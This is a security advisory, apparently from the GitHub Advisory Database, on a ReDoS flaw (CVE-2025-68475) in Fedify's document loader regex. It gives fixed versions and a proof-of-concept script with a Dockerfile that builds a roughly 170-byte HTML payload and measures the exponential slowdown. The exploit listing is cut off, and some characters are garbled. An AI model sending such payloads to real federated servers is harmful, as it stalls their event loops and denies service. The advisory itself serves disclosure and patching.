@fedify/fedify
Affected
- introduced
0, fixed1.6.13(semver)
Fixed versions
1.6.13
Fix
- Fixed version
1.6.13npm install @fedify/[email protected]
Advisory
Also known as: CVE-2025-68475
Fedify has ReDoS Vulnerability in HTML Parsing Regex
Hi Fedify team! π
Thank you for your work on Fedifyβit's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.
---
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at packages/fedify/src/runtime/docloader.ts:259 contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.
An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.
| Field | Value |
|-------|-------|
| CWE | CWE-1333 (Inefficient Regular Expression Complexity) |
---
Details
Vulnerable Code
The vulnerability is located in packages/fedify/src/runtime/docloader.ts, lines 258-264:
// Line 258-259: Vulnerable regex with nested quantifiers
const p =
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
// Line 261: No size limit on response body
const html = await response.text();
// Line 264: Regex execution loop
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);
Root Cause Analysis
The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
^^
Outer quantifier (+)
^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Inner pattern with alternation
((\s+...)+) - one or more groups of attributes("[^"]*"|'[^']*'|[^\s>]+) - multiple ways to match attribute valuesWhen the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.
Attack Vector
lookupObject("https://attacker.com/@user") to fetch an actor profileContent-Type: text/htmllookupObject() β documentLoader() β getRemoteDocument() β HTML parsing (lines 258-287)response.text() reads the entire body without size limitsWhy This Is Exploitable
response.text() without Content-Length validationAbortSignal is optional and not enforced---
PoC
Quick Reproduction (Node.js)
You can verify this vulnerability with the following standalone script:
/**
* Fedify ReDoS Vulnerability - Minimal PoC
*
* This script reproduces the vulnerable regex from docloader.ts
* and demonstrates exponential time complexity.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
* Generate malicious HTML payload
* Pattern: <a a="b" a="b" a="b"... (trailing space, no closing >)
*/
function generateMaliciousPayload(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
* Simulate the vulnerable code path from docloader.ts lines 262-264
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
// Test with increasing payload sizes
console.log('Fedify ReDoS Vulnerability PoC\n');
console.log('Repetitions | Payload Size | Time');
console.log('------------|--------------|--------');
for (const reps of [18, 20, 22, 24, 26, 28]) {
const payload = generateMaliciousPayload(reps);
const start = performance.now();
simulateVulnerableCodePath(payload);
const elapsed = performance.now() - start;
const timeStr = elapsed >= 1000
? `${(elapsed / 1000).toFixed(2)}s`
: `${elapsed.toFixed(0)}ms`;
console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);
// Stop if it's taking too long
if (elapsed > 15000) break;
}
Expected Output
Fedify ReDoS Vulnerability PoC
Repetitions | Payload Size | Time
------------|--------------|--------
18 | 111 bytes | 14ms
20 | 123 bytes | 51ms
22 | 135 bytes | 224ms
24 | 147 bytes | 852ms
26 | 159 bytes | 3.26s
28 | 171 bytes | 14.10s
Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity.
Full Docker-Based PoC
For a complete demonstration, here are the Docker files to run the PoC in an isolated environment:
<details>
<summary><strong>Dockerfile</strong></summary>
# Dockerfile for Fedify ReDoS Vulnerability PoC
FROM node:20-slim
LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)"
WORKDIR /poc
COPY exploit.js .
CMD ["node", "exploit.js"]
</details>
<details>
<summary><strong>exploit.js</strong> (Full Version)</summary>
/**
* Exploit Script for Fedify ReDoS PoC
*
* This script demonstrates the ReDoS vulnerability in Fedify's
* document loader by measuring the time it takes to process
* malicious HTML responses with varying payload sizes.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
* Generate malicious HTML payload
*/
function generateMaliciousHtml(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
* Generate normal HTML
*/
function generateNormalHtml() {
return `<!DOCTYPE html>
<html>
<head>
<link rel="alternate" type="application/activity+json" href="/user.json">
</head>
<body><a href="/">Home</a></body>
</html>`;
}
/**
* Simulate the vulnerable code path from docloader.ts
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
/**
* Run a single test and measure execution time
*/
function runTest(html, description) {
const start = process.hrtime.bigint();
try {
simulateVulnerableCodePath(html);
} catch (e) {
// Ignore errors
}
const end = process.hrtime.bigint();
const durationMs = Number(end - start) / 1_000_000;
return {
description,
durationMs,
payloadLength: html.length
};
}
/**
* Print separator
*/
function printSeparator() {
console.log('β'.repeat(60));
}
/**
* Main exploit function
*/
async function main() {
console.log('\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ');
console.log('β Fedify ReDoS Vulnerability PoC β');
console.log('β CWE-1333: Inefficient Regular Expression β');
console.log('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n');
console.log('[*] Vulnerability Location:');
console.log(' File: packages/fedify/src/runtime/docloader.ts');
console.log(' Lines: 259-264');
console.log('');
printSeparator();
console.log('[*] Testing normal HTML response...');
printSeparator();
const normalHtml = generateNormalHtml();
const normalResult = runTest(normalHtml, 'Normal HTML');
console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);
console.log(` Payload size: ${normalResult.payloadLength} bytes`);
console.log('');
printSeparator();
console.log('[*] Testing malicious HTML payloads (ReDoS attack)...');
printSeparator();
const testCases = [
{ reps: 18, expected: '~13ms' },
{ reps: 20, expected: '~52ms' },
{ reps: 22, expected: '~228ms' },
{ reps: 24, expected: '~857ms' },
{ reps: 26, expected: '~3.4s' },
{ reps: 28, expected: '~14s' }
];
console.log('');High Basis: The source's own band: HIGH
0, fixed 1.6.13 (semver)1.6.13
1.6.13npm install @fedify/[email protected]1.7.0, fixed 1.7.14 (semver)1.7.14
1.7.14npm install @fedify/[email protected]1.8.0, fixed 1.8.15 (semver)1.8.15
1.8.15npm install @fedify/[email protected]1.9.0, fixed 1.9.2 (semver)1.9.2
1.9.2npm install @fedify/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) Β· CC BY 4.0